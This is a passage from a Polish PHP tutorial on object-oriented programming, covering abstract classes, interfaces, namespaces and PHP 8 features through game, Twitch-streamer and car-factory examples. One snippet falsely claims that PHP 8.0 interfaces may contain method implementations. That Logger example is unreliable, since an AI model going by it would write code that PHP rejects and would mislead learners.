echo 'Graczy online: ' . LicznikGraczy::$iloscGraczy . '&lt;br&gt;';  // Wartość początkowa: 0

$gracz1 = new LicznikGraczy();
$gracz2 = new LicznikGraczy();
$gracz3 = new LicznikGraczy();

echo 'Graczy online: ' . LicznikGraczy::$iloscGraczy . '&lt;br&gt;';  // Wartość po dodaniu: 3
?&gt;</code></pre>



<h2>Klasy i metody abstrakcyjne</h2>
<p>Klasa abstrakcyjna definiuje pewien model i zachowanie obiektu.</p>
<p>Taka klasa nie posiada definicji tych metod, jedynie ich deklaracje, że gdzieś dalej w kodzie muszą się pojawić. Czyli do czasu rozszerzenia ich o funkcjonalności w klasach dziedziczących, te metody nie istnieją (są abstrakcją).</p>
<p>Metody abstrakcyjne definiujemy w klasie bazowej klauzulą&nbsp;<strong><em>abstract</em></strong>. Wszystkie tego typu zadeklarowane metody będą musiały pojawić się w klasach dziedziczących. Jeśli nie pojawią się, to PHP wygeneruje nam błąd.</p>
<p><strong>Nie można utworzyć obiektu klasy abstrakcyjnej.</strong>&nbsp;Klasa ta jest jedynie „bazą” dla klas potomnych.</p>
<p>Pamiętamy, że klasę dziedziczymy i możemy zrobić to tylko raz.</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
abstract class PostacGry {
    abstract public function getNazwa();
    abstract public function atak();
}

class Mag extends PostacGry {
    public function getNazwa() {
        return 'Mag';
    }
    
    public function atak() {
        return 'Rzuca zaklęcie!';
    }
}

class Wojownik extends PostacGry {
    public function getNazwa() {
        return 'Wojownik';
    }
    
    public function atak() {
        return 'Uderza mieczem!';
    }
}

$mag = new Mag();
echo $mag-&gt;getNazwa() . ': ' . $mag-&gt;atak() . '&lt;br&gt;';

$wojownik = new Wojownik();
echo $wojownik-&gt;getNazwa() . ': ' . $wojownik-&gt;atak() . '&lt;br&gt;';
?&gt;</code></pre>



<h2>Interfejsy</h2>
<p>Interfejs jest zbiorem metod jakie wymagamy by posiadała klasa, która go implementuje.</p>
<p><strong>Możemy implementować wiele</strong>&nbsp;interfejsów dla jednej klasy.</p>
<p>Wszystkie metody określane w interfejsie są abstrakcyjne.</p>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
interface PostacInterface {
    public function getNazwa(): string;
    public function getPoziom(): int;
}

interface WalkaInterface {
    public function atak(): string;
    public function obrona(): string;
}

class Bohater implements PostacInterface, WalkaInterface {
    private $nazwa;
    private $poziom;
    
    public function __construct(string $nazwa, int $poziom) {
        $this-&gt;nazwa = $nazwa;
        $this-&gt;poziom = $poziom;
    }
    
    public function getNazwa(): string {
        return $this-&gt;nazwa;
    }

    public function getPoziom(): int {
        return $this-&gt;poziom;
    }

    public function atak(): string {
        return "{$this-&gt;nazwa} atakuje!";
    }
    
    public function obrona(): string {
        return "{$this-&gt;nazwa} broni się!";
    }
}

$bohater = new Bohater('Aragorn', 50);
echo $bohater-&gt;getNazwa() . '&lt;br&gt;';
echo 'Poziom: ' . $bohater-&gt;getPoziom() . '&lt;br&gt;';
echo $bohater-&gt;atak() . '&lt;br&gt;';
echo $bohater-&gt;obrona() . '&lt;br&gt;';
?&gt;</code></pre>



<h2 class="wp-block-heading">Różnice między interfejsem, a klasą abstrakcyjną</h2>



<ul class="wp-block-list">
<li>klasa może implementować wiele interfejsów, ale rozszerzać tylko jednego rodzica</li>



<li>metody w interfejsie są publiczne, w klasie publiczne lub chronione</li>



<li>interfejs może zawierać tylko deklaracje metod, a klasa też metody zdefiniowane</li>



<li>klasy abstrakcyjne mogą zawierać atrybuty(pola), interfejsy nie</li>



<li>w interfejsach wszystkie metody są abstrakcyjne, natomiast w klasie abstrakcyjnej można stworzyć metody posiadające ciało, jak i abstrakcyjne</li>



<li>klasa abstrakcyjna zazwyczaj jest ściśle związana z klasami dziedziczącymi w sensie logicznym, czyli np. tworzymy klasę abstrakcyjną Planeta po której dziedziczą konkretne klasy planet (np. Ziemia, Mars). Interfejs natomiast nie musi być już tak mocno związany z daną klasą, on określa jej cechy, np możesz stworzyć interfejs Zniszczalny, który mówi że dany obiekt może zostać zniszczony. Taki interfejs możesz nadać zarówno klasą Planeta, Gwiazda, Budynek itp.</li>



<li>interfejs może dziedziczyć jedynie po innych interfejsach, a klasa abstrakcyjna może dziedziczyć po klasach abstrakcyjnych, interfejsach a nawet zwykłych klasach</li>



<li>interfejs nie może mieć konstruktora, w klasie abstrakcyjnej możemy dostarczyć implementację konstruktora domyślnego</li>
</ul>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// PHP 8.0+ - interfejsy mogą mieć metody z implementacją (rzadko używane)
interface Logger {
    public function log(string $message): void;
    
    // PHP 8.0+ - metoda z implementacją w interfejsie
    public function logError(string $message): void {
        $this-&gt;log("ERROR: " . $message);
    }
}</code></pre>



<h2 class="wp-block-heading">Przestrzenie nazw</h2>



<p class="wp-block-paragraph">Przestrzenie nazw pozwalają na zadeklarowanie wielu klas lub funkcji o tej samej nazwie.</p>



<p class="wp-block-paragraph">W programowaniu jak w życiu, tak samo jak nie mogą w jednym folderze istnieć 2 pliki o tej samej nazwie i rozszerzeniu, tak samo w kodzie PHP dwie tak samo nazwane funkcje lub klasy generują błąd.</p>



<p class="tw-data-text tw-text-large tw-ta wp-block-paragraph"><span class="Y2IQFc" lang="pl">Przestrzenie nazw PHP umożliwiają grupowanie powiązanych klas, interfejsów, funkcji i stałych.</span></p>



<p class="wp-block-paragraph">Zalecane jest tworzenie jednej przestrzeni nazw w jednym pliku.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Przestrzenie nazw pozwalają na organizację kodu i unikanie konfliktów nazw

// Przykład problemu BEZ przestrzeni nazw:
// Jeśli masz dwie biblioteki, które mają klasę o nazwie User, będzie konflikt:

// biblioteka1.php
class User { }

// biblioteka2.php
class User { }  // BŁĄD! Klasa User już istnieje

// --------------------------------------------------

// Rozwiązanie Z przestrzeniami nazw:

// biblioteka1.php
namespace Biblioteka1;
class User { }

// biblioteka2.php
namespace Biblioteka2;
class User { }

// Teraz możesz używać obu:
use Biblioteka1\User as User1;
use Biblioteka2\User as User2;

$user1 = new User1();
$user2 = new User2();</code></pre>



<p class="wp-block-paragraph">Przestrzenie nazw działają jak foldery w systemie plików</p>



<p class="wp-block-paragraph">Zalecane jest: jedna przestrzeń nazw = jeden plik</p>



<p>Konwencja: odpowiadają strukturze folderów (PSR-4)</p>



<p class="wp-block-paragraph"><a href="https://www.php.net/manual/en/language.namespaces.basics.php" target="_blank" rel="noopener">Więcej w dokumentacji</a></p>



<h2 class="wp-block-heading">PHP 8 &#8211; nowości</h2>



<h3 class="wp-block-heading">1. Typed Properties (właściwości typowane)</h3>



<p class="wp-block-paragraph">PHP 8 pozwala na określenie typu dla właściwości klasy:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class GraczOnline {
    public string $nick;
    public int $poziom;
    public float $hp;
    public bool $premium;
    
    public function __construct(string $nick, int $poziom) {
        $this-&gt;nick = $nick;
        $this-&gt;poziom = $poziom;
        $this-&gt;hp = 100.0;
        $this-&gt;premium = false;
    }
}

$gracz = new GraczOnline('ProGamer', 45);
// $gracz-&gt;poziom = 'tekst';  // Błąd: Typ musi być int
?&gt;</code></pre>



<h3 class="wp-block-heading">2. Constructor Property Promotion</h3>



<p class="wp-block-paragraph">PHP 8 pozwala na zwięzłe deklarowanie właściwości bezpośrednio w konstruktorze:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// PHP 7 - długie
class GraczStary {
    private string $nick;
    private int $poziom;
    
    public function __construct(string $nick, int $poziom) {
        $this-&gt;nick = $nick;
        $this-&gt;poziom = $poziom;
    }
}

// PHP 8 - zwięzłe
class GraczNowy {
    public function __construct(
        private string $nick,
        private int $poziom,
        private float $hp = 100.0
    ) {}
}

$gracz = new GraczNowy('ProGamer', 45);
?&gt;</code></pre>



<h3 class="wp-block-heading">3. Named Arguments</h3>



<p class="wp-block-paragraph">PHP 8 pozwala na przekazywanie argumentów po nazwie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class PostacGry {
    public function __construct(
        private string $imie,
        private int $poziom = 1,
        private int $hp = 100,
        private int $mana = 50
    ) {}
}

// PHP 7 - musimy podać wszystkie
$postac1 = new PostacGry('Gandalf', 1, 100, 200);

// PHP 8 - możemy pominąć środkowe
$postac2 = new PostacGry(
    imie: 'Gandalf',
    mana: 200,
    poziom: 50
);
?&gt;</code></pre>



<h3 class="wp-block-heading">4. Match Expression</h3>



<p class="wp-block-paragraph">PHP 8 wprowadza match jako lepszą alternatywę dla switch:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class SystemRang {
    public function getRanga(int $punkty): string {
        // PHP 7 - switch
        switch (true) {
            case $punkty &lt; 1000:
                return 'Brązowy';
            case $punkty &lt; 2000:
                return 'Srebrny';
            case $punkty &lt; 3000:
                return 'Złoty';
            default:
                return 'Diamentowy';
        }
        
        // PHP 8 - match (zwięzłe i bezpieczniejsze)
        return match (true) {
            $punkty &lt; 1000 =&gt; 'Brązowy',
            $punkty &lt; 2000 =&gt; 'Srebrny',
            $punkty &lt; 3000 =&gt; 'Złoty',
            default =&gt; 'Diamentowy'
        };
    }
}
?&gt;</code></pre>



<h3 class="wp-block-heading">5. Nullsafe Operator</h3>



<p class="wp-block-paragraph">PHP 8 wprowadza operator ?-&gt; który zapobiega błędom przy null:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class Ekwipunek {
    public ?Bron $bron = null;
}

class Bron {
    public string $nazwa;
}

$gracz = new stdClass();
$gracz-&gt;ekwipunek = new Ekwipunek();

// PHP 7 - długie sprawdzanie
$nazwaBroni = null;
if ($gracz-&gt;ekwipunek !== null &amp;&amp; $gracz-&gt;ekwipunek-&gt;bron !== null) {
    $nazwaBroni = $gracz-&gt;ekwipunek-&gt;bron-&gt;nazwa;
}

// PHP 8 - nullsafe operator
$nazwaBroni = $gracz-&gt;ekwipunek?-&gt;bron?-&gt;nazwa;
?&gt;</code></pre>



<h3 class="wp-block-heading">6. Union Types</h3>



<p class="wp-block-paragraph">PHP 8 pozwala na określenie wielu typów dla jednego parametru:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
class Gracz {
    // Może być int lub string
    public function setId(int|string $id): void {
        // ...
    }
    
    // Może zwrócić PostacGry lub null
    public function znajdzPostac(string $nazwa): PostacGry|null {
        // ...
    }
}
?&gt;</code></pre>



<h2 class="wp-block-heading">Przykłady</h2>



<h3 class="wp-block-heading">Przykład 1: System Streamingu na Twitchu &#8211; przykład z obszernym komentarzem w kodzie</h3>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
/*
 * ==========================================
 * KLASA STREAMER - System Streamingu Twitch
 * ==========================================
 * 
 * Ta klasa reprezentuje streamera na platformie Twitch.
 * Każdy streamer ma:
 * - pseudonim (nick)
 * - liczbę subskrybcji
 * - liczbę followerów
 * - status online/offline
 */

class Streamer {
    
    /*
     * KONSTRUKTOR - metoda automatycznie wywoływana przy tworzeniu obiektu
     * 
     * PHP 8 - Constructor Property Promotion:
     * Parametry konstruktora automatycznie stają się właściwościami klasy.
     * To skrót, który oszczędza pisanie kodu.
     * 
     * Tradycyjny sposób (PHP 7):
     * -------------------------
     * private string $nick;
     * public function __construct(string $nick) {
     *     $this-&gt;nick = $nick;
     * }
     * 
     * Nowy sposób (PHP 8):
     * --------------------
     * public function __construct(private string $nick) {}
     * 
     * Oba robią to samo, ale PHP 8 jest krócej!
     */
    public function __construct(
        private string $nick,              // Pseudonim streamera (WYMAGANE - brak wartości domyślnej)
        private int $subskrybcje = 0,      // Liczba subskrybcji (domyślnie 0)
        private int $followers = 0,         // Liczba followerów (domyślnie 0)
        private bool $czyOnline = false    // Status online (domyślnie false = offline)
    ) {
        /*
         * Ciało konstruktora jest PUSTE {}, ponieważ PHP 8 automatycznie:
         * 1. Tworzy prywatne właściwości: $nick, $subskrybcje, $followers, $czyOnline
         * 2. Przypisuje im wartości przekazane przy tworzeniu obiektu
         * 
         * Gdybyśmy chcieli coś dodatkowego zrobić przy tworzeniu obiektu,
         * moglibyśmy napisać tu dodatkowy kod, np:
         * echo "Utworzono konto dla {$this-&gt;nick}!";
         */
    }
    
    /*
     * METODA: rozpocznijStream()
     * --------------------------
     * Uruchamia stream - zmienia status streamera na "online"
     * 
     * public - metoda jest dostępna z zewnątrz klasy
     * void - metoda nie zwraca żadnej wartości (tylko wykonuje akcję)
     */
    public function rozpocznijStream(): void {
        // Zmieniamy właściwość $czyOnline na true
        // $this-&gt; oznacza "tego obiektu" (tego konkretnego streamera)
        $this-&gt;czyOnline = true;
        
        // Wyświetlamy komunikat
        // {$this-&gt;nick} wstawia wartość właściwości $nick do tekstu
        echo "{$this-&gt;nick} rozpoczął stream!&lt;br&gt;";
    }
    
    /*
     * METODA: zakonczStream()
     * -----------------------
     * Kończy stream - zmienia status streamera na "offline"
     */
    public function zakonczStream(): void {
        // Ustawiamy status na offline
        $this-&gt;czyOnline = false;
        
        // Wyświetlamy komunikat
        echo "{$this-&gt;nick} zakończył stream!&lt;br&gt;";
    }
    
    /*
     * METODA: dodajSuba()
     * -------------------
     * Dodaje jedną subskrybcję do konta streamera
     * 
     * Dlaczego metoda zamiast bezpośredniego dostępu?
     * ------------------------------------------------
     * Właściwość $subskrybcje jest PRIVATE, więc nie można jej zmienić z zewnątrz:
     * 
     * ŹLE (nie zadziała):
     *   $streamer-&gt;subskrybcje = 999;  // BŁĄD! Właściwość jest private
     * 
     * DOBRZE (zadziała):
     *   $streamer-&gt;dodajSuba();  // OK! Używamy publicznej metody
     * 
     * Zalety tego podejścia:
     * - Kontrola: możemy dodać walidację (np. sprawdzić czy sub jest ważny)
     * - Bezpieczeństwo: nikt nie ustawi liczby subów na -100
     * - Logika biznesowa: możemy dodać dodatkowe akcje (np. powiadomienia)
     */
    public function dodajSuba(): void {
        // Operator ++ zwiększa wartość o 1
        // Równoznaczne z: $this-&gt;subskrybcje = $this-&gt;subskrybcje + 1;
        $this-&gt;subskrybcje++;
        
        // Wyświetlamy komunikat z aktualną liczbą subów
        echo "Nowy sub! Razem: {$this-&gt;subskrybcje}&lt;br&gt;";
        
        /*
         * MIEJSCE NA ROZBUDOWĘ:
         * Tutaj moglibyśmy dodać dodatkową logikę, np:
         * 
         * if ($this-&gt;subskrybcje % 100 == 0) {
         *     echo "MILESTONE! {$this-&gt;subskrybcje} subów!&lt;br&gt;";
         * }
         * 
         * Albo:
         * if ($this-&gt;subskrybcje == 1000) {
         *     echo "Gratulacje! 1000 subskrypcji!&lt;br&gt;";
         * }
         */
    }
    
    /*
     * METODA: wyswietlStatus()
     * ------------------------
     * Wyświetla pełny status streamera:
     * - pseudonim
     * - czy jest online/offline
     * - liczba subskrybcji
     * - liczba followerów
     */
    public function wyswietlStatus(): void {
        /*
         * OPERATOR TRÓJARGUMENTOWY (ternary operator):
         * -------------------------------------------
         * Składnia: warunek ? wartość_jeśli_prawda : wartość_jeśli_fałsz
         * 
         * Długa wersja (identyczne działanie):
         * if ($this-&gt;czyOnline == true) {
         *     $status = 'LIVE';
         * } else {
         *     $status = 'OFFLINE';
         * }
         * 
         * Krótka wersja:
         * $status = $this-&gt;czyOnline ? 'LIVE' : 'OFFLINE';
         */
        $status = $this-&gt;czyOnline ? 'LIVE' : 'OFFLINE';
        
        // Wyświetlamy nagłówek z pseudonimem i statusem
        echo "--- {$this-&gt;nick} &#91;{$status}] ---&lt;br&gt;";
        
        // Wyświetlamy szczegóły
        echo "Subskrybcje: {$this-&gt;subskrybcje}&lt;br&gt;";
        echo "Followersi: {$this-&gt;followers}&lt;br&gt;";
    }
}

/*
 * ==========================================
 * UŻYCIE KLASY - Tworzenie obiektu i praca z nim
 * ==========================================
 */

/*
 * TWORZENIE OBIEKTU (instancji klasy):
 * ------------------------------------
 * Słowo kluczowe 'new' tworzy nowy obiekt na podstawie klasy Streamer
 * 
 * new Streamer(...) wywołuje konstruktor i przekazuje do niego argumenty:
 * - 'GamingLegend' → przypisane do $nick
 * - 150 → przypisane do $subskrybcje
 * - 5000 → przypisane do $followers
 * - $czyOnline nie podane, więc dostaje wartość domyślną: false
 * 
 * Obiekt zapisujemy w zmiennej $streamer
 */
$streamer = new Streamer('GamingLegend', 150, 5000);

/*
 * Co się stało w pamięci?
 * -----------------------
 * Utworzono obiekt $streamer z następującymi wartościami:
 * 
 * $streamer:
 *   ├─ $nick = 'GamingLegend'
 *   ├─ $subskrybcje = 150
 *   ├─ $followers = 5000
 *   └─ $czyOnline = false
 */

// WYWOŁANIE METODY: wyswietlStatus()
// ----------------------------------
// Operator -&gt; służy do wywoływania metod i dostępu do właściwości obiektu
// Wywołujemy metodę wyswietlStatus() na obiekcie $streamer
$streamer-&gt;wyswietlStatus();
/*
 * Wyświetli:
 * --- GamingLegend &#91;OFFLINE] ---
 * Subskrybcje: 150
 * Followersi: 5000
 */

echo "&lt;br&gt;"; // Odstęp dla czytelności

// WYWOŁANIE METODY: rozpocznijStream()
// ------------------------------------
// Zmieniamy status streamera na "online"
$streamer-&gt;rozpocznijStream();
/*
 * Dzieje się:
 * 1. $czyOnline zmienia się na true
 * 2. Wyświetla się: GamingLegend rozpoczął stream!
 */

// WYWOŁANIE METODY: dodajSuba() - pierwsze wywołanie
// --------------------------------------------------
// Dodajemy pierwszą subskrybcję
$streamer-&gt;dodajSuba();
/*
 * Dzieje się:
 * 1. $subskrybcje zwiększa się z 150 do 151
 * 2. Wyświetla się: Nowy sub! Razem: 151
 */

// WYWOŁANIE METODY: dodajSuba() - drugie wywołanie
// ------------------------------------------------
// Dodajemy kolejną subskrybcję
$streamer-&gt;dodajSuba();
/*
 * Dzieje się:
 * 1. $subskrybcje zwiększa się z 151 do 152
 * 2. Wyświetla się: Nowy sub! Razem: 152
 */

// WYWOŁANIE METODY: zakonczStream()
// ---------------------------------
// Kończymy stream
$streamer-&gt;zakonczStream();
/*
 * Dzieje się:
 * 1. $czyOnline zmienia się na false
 * 2. Wyświetla się: GamingLegend zakończył stream!
 */

echo "&lt;br&gt;"; // Odstęp dla czytelności

// WYWOŁANIE METODY: wyswietlStatus() - ponownie
// ---------------------------------------------
// Wyświetlamy status po zakończeniu streamu
$streamer-&gt;wyswietlStatus();
/*
 * Wyświetli:
 * --- GamingLegend &#91;OFFLINE] ---
 * Subskrybcje: 152  &lt;-- Zauważ: zwiększyło się z 150 do 152
 * Followersi: 5000
 * 
 * Status zmienił się z LIVE na OFFLINE
 */

/*
 * ==========================================
 * PEŁNY OUTPUT PROGRAMU:
 * ==========================================
 * 
 * --- GamingLegend &#91;OFFLINE] ---
 * Subskrybcje: 150
 * Followersi: 5000
 * 
 * GamingLegend rozpoczął stream!
 * Nowy sub! Razem: 151
 * Nowy sub! Razem: 152
 * GamingLegend zakończył stream!
 * 
 * --- GamingLegend &#91;OFFLINE] ---
 * Subskrybcje: 152
 * Followersi: 5000
 */

/*
 * ==========================================
 * DODATKOWE PRZYKŁADY - Tworzenie wielu streamerów
 * ==========================================
 */

echo "&lt;hr&gt;&lt;h3&gt;Dodatkowe przykłady:&lt;/h3&gt;";

// Przykład 1: Nowy streamer z minimalnymi danymi
// ----------------------------------------------
// Podajemy tylko nick (reszta dostanie wartości domyślne)
$nowyStreamer = new Streamer('RookiePlayer');
/*
 * Wartości:
 * - $nick = 'RookiePlayer'
 * - $subskrybcje = 0 (domyślna)
 * - $followers = 0 (domyślna)
 * - $czyOnline = false (domyślna)
 */

$nowyStreamer-&gt;wyswietlStatus();
/*
 * Wyświetli:
 * --- RookiePlayer &#91;OFFLINE] ---
 * Subskrybcje: 0
 * Followersi: 0
 */

echo "&lt;br&gt;";

// Przykład 2: Wielki streamer
// ---------------------------
$megaStreamer = new Streamer('xQcOW', 85000, 1500000);
$megaStreamer-&gt;rozpocznijStream();
$megaStreamer-&gt;wyswietlStatus();
/*
 * Wyświetli:
 * xQcOW rozpoczął stream!
 * --- xQcOW &#91;LIVE] ---
 * Subskrybcje: 85000
 * Followersi: 1500000
 */

echo "&lt;br&gt;";

// Przykład 3: Porównanie dwóch streamerów
// ----------------------------------------
echo "&lt;h4&gt;Porównanie streamerów:&lt;/h4&gt;";

$streamer1 = new Streamer('Ninja', 75000, 180000);
$streamer2 = new Streamer('Shroud', 50000, 100000);

// Obaj zaczynają stream
$streamer1-&gt;rozpocznijStream();
$streamer2-&gt;rozpocznijStream();

echo "&lt;br&gt;";

// Wyświetlamy ich statusy
echo "Status Ninja:&lt;br&gt;";
$streamer1-&gt;wyswietlStatus();

echo "&lt;br&gt;";

echo "Status Shroud:&lt;br&gt;";
$streamer2-&gt;wyswietlStatus();

/*
 * WAŻNA OBSERWACJA:
 * -----------------
 * Każdy obiekt ($streamer1, $streamer2) ma WŁASNE wartości właściwości.
 * Zmiana wartości w jednym obiekcie NIE WPŁYWA na drugi obiekt.
 * 
 * To tak jakby mieć dwa oddzielne konta na Twitchu - każde jest niezależne.
 */

/*
 * ==========================================
 * KLUCZOWE POJĘCIA - PODSUMOWANIE:
 * ==========================================
 * 
 * 1. KLASA (class):
 *    - Szablon/przepis na tworzenie obiektów
 *    - Definiuje jakie właściwości i metody będą miały obiekty
 * 
 * 2. OBIEKT (object/instancja):
 *    - Konkretny "egzemplarz" utworzony na podstawie klasy
 *    - Tworzy się słowem kluczowym 'new'
 * 
 * 3. WŁAŚCIWOŚCI (properties):
 *    - Zmienne należące do obiektu
 *    - W naszym przykładzie: $nick, $subskrybcje, $followers, $czyOnline
 * 
 * 4. METODY (methods):
 *    - Funkcje należące do klasy
 *    - Operują na właściwościach obiektu
 *    - W naszym przykładzie: rozpocznijStream(), dodajSuba(), wyswietlStatus()
 * 
 * 5. $this:
 *    - Odnosi się do "bieżącego obiektu"
 *    - Używamy go w metodach aby dostać się do właściwości obiektu
 * 
 * 6. MODYFIKATORY DOSTĘPU:
 *    - private: dostęp tylko wewnątrz klasy
 *    - public: dostęp z każdego miejsca
 * 
 * 7. KONSTRUKTOR (__construct):
 *    - Specjalna metoda wywoływana automatycznie przy tworzeniu obiektu
 *    - Służy do inicjalizacji (ustawienia początkowych wartości)
 * 
 * 8. OPERATOR -&gt; :
 *    - Służy do dostępu do właściwości i metod obiektu
 *    - Składnia: $obiekt-&gt;metoda() lub $obiekt-&gt;właściwość
 */
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład z wizualizacją stanu obiektów</h3>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Wizualizacja jak zmieniają się dane w obiekcie

echo "&lt;h3&gt;Śledzenie zmian w obiekcie krok po kroku:&lt;/h3&gt;";

// Krok 1: Tworzenie obiektu
echo "&lt;strong&gt;KROK 1: Tworzenie obiektu&lt;/strong&gt;&lt;br&gt;";
$streamer = new Streamer('TestStreamer', 10, 100);
echo "Utworzono streamera. Stan obiektu:&lt;br&gt;";
$streamer-&gt;wyswietlStatus();
/*
 * Stan obiektu:
 * $nick = 'TestStreamer'
 * $subskrybcje = 10
 * $followers = 100
 * $czyOnline = false
 */

echo "&lt;br&gt;&lt;hr&gt;";

// Krok 2: Rozpoczęcie streamu
echo "&lt;strong&gt;KROK 2: Rozpoczęcie streamu&lt;/strong&gt;&lt;br&gt;";
$streamer-&gt;rozpocznijStream();
echo "Stan obiektu po rozpoczęciu:&lt;br&gt;";
$streamer-&gt;wyswietlStatus();
/*
 * Stan obiektu:
 * $nick = 'TestStreamer'
 * $subskrybcje = 10
 * $followers = 100
 * $czyOnline = true  &lt;-- ZMIANA!
 */

echo "&lt;br&gt;&lt;hr&gt;";

// Krok 3: Dodanie 3 subskrybcji
echo "&lt;strong&gt;KROK 3: Dodanie 3 subskrybcji&lt;/strong&gt;&lt;br&gt;";
$streamer-&gt;dodajSuba();
$streamer-&gt;dodajSuba();
$streamer-&gt;dodajSuba();
echo "Stan obiektu po dodaniu subów:&lt;br&gt;";
$streamer-&gt;wyswietlStatus();
/*
 * Stan obiektu:
 * $nick = 'TestStreamer'
 * $subskrybcje = 13  &lt;-- ZMIANA! (było 10, teraz 13)
 * $followers = 100
 * $czyOnline = true
 */

echo "&lt;br&gt;&lt;hr&gt;";

// Krok 4: Zakończenie streamu
echo "&lt;strong&gt;KROK 4: Zakończenie streamu&lt;/strong&gt;&lt;br&gt;";
$streamer-&gt;zakonczStream();
echo "Stan obiektu po zakończeniu:&lt;br&gt;";
$streamer-&gt;wyswietlStatus();
/*
 * Stan obiektu:
 * $nick = 'TestStreamer'
 * $subskrybcje = 13
 * $followers = 100
 * $czyOnline = false  &lt;-- ZMIANA!
 */

echo "&lt;br&gt;&lt;hr&gt;";

// Podsumowanie
echo "&lt;strong&gt;PODSUMOWANIE ZMIAN:&lt;/strong&gt;&lt;br&gt;";
echo "Początek: 10 subskrybcji, OFFLINE&lt;br&gt;";
echo "Koniec: 13 subskrybcji, OFFLINE&lt;br&gt;";
echo "Różnica: +3 subskrybcje&lt;br&gt;";
?&gt;</code></pre>



<h3 class="wp-block-heading">Przykład 2: OOP obsługujące fabrykę samochodów</h3>



<pre class="wp-block-code prettyprint"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Klasa bazowa dla fabryki Chevrolet
class ChevroletFactory {
    // Stała reprezentująca maksymalną pojemność produkcji
    const MAX_CAPACITY = 500;

    // Właściwości klasy
    protected $brand = "Chevrolet";
    protected $producedCars = 0;

    // Konstruktor inicjalizuje fabrykę
    public function __construct() {
        echo "Fabryka marki {$this-&gt;brand} została otwarta.&lt;br&gt;";
    }

    // Metoda do produkcji samochodów
    public function produceCar($quantity) {
        if ($this-&gt;producedCars + $quantity &gt; self::MAX_CAPACITY) {
            echo "Nie można wyprodukować $quantity samochodów. Przekroczono maksymalną pojemność produkcyjną.&lt;br&gt;";
        } else {
            $this-&gt;producedCars += $quantity;
            echo "Wyprodukowano $quantity samochodów. Łączna produkcja: {$this-&gt;producedCars}.&lt;br&gt;";
        }
    }

    // Metoda do wyświetlenia statusu produkcji
    public function factoryStatus() {
        echo "Fabryka marki {$this-&gt;brand} wyprodukowała {$this-&gt;producedCars} samochodów.&lt;br&gt;";
    }

    // Magiczna metoda __get. Obsługuje odczyt nieistniejących właściwości.
    public function __get($name) {
        echo "Próba dostępu do właściwości '{$name}', która nie istnieje.&lt;br&gt;";
        return null;
    }

    // Magiczna metoda __set. Obsługuje próbę ustawienia niedozwolonych właściwości.
    public function __set($name, $value) {
        echo "Próba ustawienia właściwości '{$name}' na wartość '{$value}'. Operacja niedozwolona!&lt;br&gt;";
    }

    // Magiczna metoda __toString, która pozwoli na łatwą reprezentację obiektu jako tekst
    public function __toString() {
        return "Fabryka marki {$this-&gt;brand}: wyprodukowano {$this-&gt;producedCars} samochodów. Maksymalna pojemność: " . self::MAX_CAPACITY . ".&lt;br&gt;";
    }

    // Destruktor wyświetla komunikat o zamknięciu fabryki i wyprodukowanej liczbie samochodów.
    // Destruktor - wywoływany automatycznie gdy:
    // 1. Kończy się skrypt
    // 2. Obiekt jest usuwany przez unset()
    // 3. Obiekt jest nadpisywany przez nowy
    public function __destruct() {
        echo "Fabryka marki {$this-&gt;brand} została zamknięta. Łączna produkcja: {$this-&gt;producedCars} samochodów.&lt;br&gt;";
    }
}

// Klasa pochodna dla modelu Camaro
class Camaro extends ChevroletFactory {
    public $modelName = "Camaro";
    private $engineType;

    // Konstruktor klasy pochodnej
    public function __construct($engineType) {
        parent::__construct(); // Wywołanie konstruktora klasy bazowej
        $this-&gt;engineType = $engineType;
        echo "Rozpoczęto produkcję modelu {$this-&gt;modelName} z silnikiem {$this-&gt;engineType}.&lt;br&gt;";
    }
}

// Klasa pochodna dla modelu Corvette
class Corvette extends ChevroletFactory {
    public $modelName = "Corvette";
    private $color;

    // Konstruktor klasy pochodnej
    public function __construct($color) {
        parent::__construct(); // Wywołanie konstruktora klasy bazowej
        $this-&gt;color = $color;
        echo "Rozpoczęto produkcję modelu {$this-&gt;modelName} w kolorze {$this-&gt;color}.&lt;br&gt;";
    }
}

// Przykład użycia
echo "==== Fabryka Chevrolet ====&lt;br&gt;";

// Tworzenie fabryki dla Camaro
$camaroFactory = new Camaro("V8");
$camaroFactory-&gt;produceCar(100); // Produkcja 100 samochodów
$camaroFactory-&gt;produceCar(450); // Przekroczenie pojemności
echo $camaroFactory; // Wywołanie __toString
echo $camaroFactory-&gt;nonExistentProperty; // Magiczne __get
$camaroFactory-&gt;nonExistentProperty = "Test"; // Magiczne __set
$camaroFactory-&gt;factoryStatus(); // Status fabryki

echo "&lt;br&gt;==== Fabryka Corvette ====&lt;br&gt;";

// Tworzenie fabryki dla Corvette
$corvetteFactory = new Corvette("Czerwony");
$corvetteFactory-&gt;produceCar(200); // Produkcja 200 samochodów
echo $corvetteFactory; // Wywołanie __toString
